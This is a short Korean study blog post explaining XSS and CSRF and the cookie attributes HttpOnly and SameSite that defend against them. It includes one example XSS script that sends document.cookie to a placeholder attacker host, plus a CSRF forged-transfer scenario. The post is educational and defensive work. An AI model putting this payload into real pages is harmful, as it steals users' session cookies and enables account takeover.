XSS 와 CSRF에 대해서 알아보기 (쿠키를 공부하는 과정 중)

들어가기 전

간이 프로젝트 때 로그인 기능을 구현할 예정이다. 로그인 기능을 구현하기 위해서는 반드시 알아야 할 '쿠키(Cookie)'라는 것이 있다. 쿠키에 대해서 예전에 써놓은 글이 있으니 참고하면 된다.

쿠키의 속성 중에 HttpOnly와 SameSite라는 것이 있다.

HttpOnly는 JS에서 접근이 불가능 하고 XSS 방어를 할 수 있고 SameSite는 CSRF를 방지할 수 있다고 한다.

이번에 쓸 글은 XSS가 무엇이며 CSRF가 뭔지에 대해서 알아보는 글이다.

https://jakapark.tistory.com/21

[JS] 쿠키 세션 로컬스토리지

 

1. XSS (Cross-Site Scripting)

- 공격자가 웹 페이지에 악성 스크립트(JavaScript)를 삽입하는 공격

- 피해자의 브라우저에서 이 스크립트가 실행되어, 쿠키 탈취 계정 도용, 사이트 조작 등이 발생

 

예시

<script>
  fetch("http://evil.com/steal?cookie=" + document.cookie);
</script>

 

대응 방법

방법	설명
HttpOnly	JS에서 쿠키 접근 금지 (쿠키 보호)
HTML escape	사용자 입력을 HTML에 출력할 땐 <, > 등을 이스케이프
CSP (Content Security Policy)	외부 JS 실행 제한

 

2. CSRF (Cross-Site Request Forgery)

*forgery : '위조'라는 뜻

- 피해자가 로그인 상태에서 공격자가 의도한 요청을 전송하게 만드는 공격

- 서버는 요청이 정당한 사용자 요청인지 판단하지 못하고 처리함

 

예상 시나리오

사용자가 XXBank.com 에 로그인 중이라는 상황을 가정해보자

1) 공격자가 만든 사이트(evil.com)에 접속

2) 숨겨진 폼으로 A의 계좌에서 송금요청 (XXbank.com/transfer)

3) A의 브라우저는 XXBank.com 쿠키를 포함하고 요청을 보내게 됨

 

대응 방법

방법	설명
SameSite=Strict	외부 도메인에서 쿠키 자동 전송 차단 (강력 대응)
CSRF 토큰	폼 요청마다 고유 토큰을 발급하여 검증
Refer 검증	요청 출처 도메인 확인